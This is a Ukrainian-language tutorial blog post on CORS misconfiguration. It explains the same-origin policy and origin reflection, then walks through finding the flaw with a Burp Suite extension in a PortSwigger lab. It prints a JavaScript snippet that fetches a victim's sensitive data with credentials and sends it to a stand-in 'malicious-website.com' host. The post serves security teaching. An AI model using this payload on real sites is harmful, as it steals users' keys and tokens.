К профилю facebook
К профилю linkedin
gallery/artage-io-thumb-9cfcd10dceda7ae2d9eb329237ac313a
gallery/screenshot_7

 

Спільний доступ між різними джерелами (CORS)

 

У цьому розділі я поясню, що таке спільне використання ресурсів між джерелами (CORS), опишемо деякі поширені приклади атак на основі спільного використання між джерелами та обговоримо, як шукати за допомогою Burp Extension CORS швидко цю вразливість, та куди ж без проговорення, як захиститися від цих атак.

 

Що таке CORS (обмін між джерелами)?

 

Спільний доступ до ресурсів між джерелами (CORS) — це механізм браузера, який забезпечує контрольований доступ до ресурсів, розташованих за межами даного домену. Це розширює та додає гнучкості до політики того самого походження ( SOP ). Однак це також створює потенціал для міждоменних атак, якщо політика CORS веб-сайту погано налаштована та реалізована. CORS не є захистом від атак між джерелами, таких як підробка міжсайтових запитів (CSRF).

 

Same-origin policy

 

SOP - це обмежувальна специфікація між джерелами, яка обмежує можливість взаємодії веб-сайту з ресурсами за межами вихідного домену. SOP була визначена багато років тому у відповідь на потенційно шкідливі міждоменні взаємодії, наприклад, крадіжку приватних даних одним веб-сайтом у іншого. Як правило, це дозволяє домену надсилати запити до інших доменів, але не отримувати доступ до відповідей.

 

Послаблення Same-origin policy

 

SOP є дуже обмежувальною, і, отже, були розроблені різні підходи, щоб обійти обмеження. Багато веб-сайтів взаємодіють із субдоменами або сторонніми сайтами таким чином, що вимагає повного доступу з різних джерел. Контрольоване послаблення SOP можливе за допомогою спільного використання ресурсів між джерелами (CORS).

 

Протокол спільного використання ресурсів між джерелами використовує набір заголовків HTTP, які визначають надійні джерела веб-сайтів і пов’язані властивості, наприклад, чи дозволено аутентифікований доступ. Вони об’єднані в обмін заголовками між браузером і веб-сайтом із різних джерел, до якого він намагається отримати доступ.

 

Розглянемо одну із вразливостей, яка виникає через проблеми в конфігурації CORS та розглянемо як можна шукати її за допомогою Burp Suite

 

 

Створений сервером заголовок ACAO із зазначеного клієнтом заголовка Origin

 

Деякі програми повинні надавати доступ до низки інших доменів. Підтримання списку дозволених доменів вимагає постійних зусиль, і будь-які помилки можуть призвести до порушення функціональності. Таким чином, деякі програми використовують легкий шлях ефективного надання доступу з будь-якого іншого домену.

 

Один із способів зробити це – прочитати заголовок Origin із запитів і включити заголовок відповіді, в якому зазначено, що джерело запиту дозволено. Наприклад, розглянемо програму, яка отримує такий запит:

 

GET /sensitive-victim-data HTTP/1.1

Host: vulnerablesite.com

Origin: https://evil-website.com

Cookie: sessionid=...

 

Потім він відповідає:

 

HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://evil-website.com

Access-Control-Allow-Credentials: true ...

 

У цих заголовках зазначено, що доступ дозволений із запитуваного домену ( evil-website.com) і що запити між джерелами можуть включати файли cookie ( Access-Control-Allow-Credentials: true) і тому оброблятимуться під час сеансу.

 

Оскільки програма відображає довільне походження в Access-Control-Allow-Origin заголовку, це означає, що абсолютно будь-який домен може отримати доступ до ресурсів із уразливого домену. Якщо відповідь містить будь-яку конфіденційну інформацію, таку як ключ API або токен CSRF , ви можете отримати її, розмістивши такий сценарій на своєму веб-сайті:

 

var req = new XMLHttpRequest();

req.onload = reqListener; req.open('get','https://vulnerablesite.com/sensitive-victim-data',true);

req.withCredentials = true;

req.send();

 

function reqListener() {

               location='//malicious-website.com/log?key='+this.responseText;

};

Burp Extension CORS
Вернуться назад

Після того як ми потрапили на лабу, а в лабі ми начебто потрабили на якийсь інтернет магазин, тут нам треба пройти типу авторизацію на цьому магазині. Переходимо в мій кабінет, клікнувши по лінці "My account".

gallery/що таке cors (обмін між джерелами)_ підручник та п
gallery/burp suite professional v2020.2.1 - temporary proj

Burp Extension: CORS* - Additional CORS Checks

 

Це розширення можна використовувати для перевірки веб-сайтів на наявність помилкових конфігурацій CORS. Він може виявити тривіальні неправильні конфігурації, як-от довільне відображення походження, а також більш тонкі, коли регулярний вираз не налаштовано належним чином (наприклад, www.victim.com.attacker.com ). Проблема створюється, якщо відображено походження небезпеки. Якщо встановлено Access-Control-Allow-Credentials: true, то проблема має високий рейтинг. 

Особливості плагину в тому, що його можна запускати в режимі automatic або manual

Установка

1) скачати в гіті на встановити в Burp https://github.com/portswigger/additional-cors-checks 

2) Краще другий варіант, зайти в Burp та одразу додати йог ов плагінах вкладка Extender--DApp Store--CORS* Additional CORS Checks

gallery/2

Практика

 

Будемо юзати цю лабу для відтачування як працює плагін для пошуку https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack.

 

Щоб працювати в цій лабі вам потрібно зареєструватися.

 

Отже врубаємо Burp Suite і налаштовуємо там проксю між браузером та бурпом або якщо у вас нова версі бурпа просто відкрити проксі браузер в ньому. Після того як налаштували проксю завалюємся на сторінку на якій будемо пракрикуватися...

gallery/3
gallery/cors vulnerability with basic origin reflection -

Тут нам потрібно ввести креди wiener:peter

gallery/4

Після цього як ми успішло авторизувалися, давайте перейдемо до Burp і подивимось які запроси ми там наловили, щоб потім з ними погратися. А нас саме цікавить запрос про деталі інфи про нашего юзера. 

gallery/5

Для цього переходимо в розділ Proxy--HTTP hustory Там знаходимо реквест який відповідає за запрощення іформації про мій профіль, він буде мати частину урла таку /accountDetails. Натиснувши на цей ревест ми отримаємо інфу про те в якому вигляді він відправляється на сервер, це ми можемо подивитися у вкладці Request.

gallery/6

А у вкладці Response ми можемо подивитися що нам відповів сервер на наш запит, а там ми побічимо чутливі данні про нашого юзера, мій токен ключ та мою сесію за допомогою яких зоумисник може скористатися моєю учоткою. Зараз нам потрібно а можно викликати ці дані з якогось іншого ресурсу і в цьому нам допоможе наш плагін який ми ставили. 

 

Відправте тепер реквест з вкладки Request, за допомогою правої кнопки миші, в розділ add Request to CORSA, а потім перейдіть у вкладку CORS*.

gallery/7

Тут нам потрібно обрати виконати пару налаштувань:

  - заповнити поле URL for CORS фейкового сайту, з якого буде запрошуватися доступ до сторінки

  - клікнути чекбокс Activate CORS
  -
обрати зі списку реквест який ми хочемо перевірити

  - та клікнуть по кнопці Send CORS requests for selected enty

Після того як реквест відправиться з нашими налаштуваннями, то нижче повино з'явитися і реквест в якому видно що в хедер додався заголовок ORIGIN, та в респонсі ми можемо подивитися відповідь від обробки такого реквесту. Якщо у відповіді з'явиться заголовок Access-Control-Allow-Origin, що означає, що наш сайт довіряє іншому сайту для запитів інформації о моєму профілі, тобто ми знайшли вразливість неправльних налаштувань CORS

 

Тепер ви знаєте як можна шукати вразливості CORS за допомогою Burp та плагіну CORS* - Additional CORS Checks

gallery/burp suite professional v2020.2.1 - temporary proj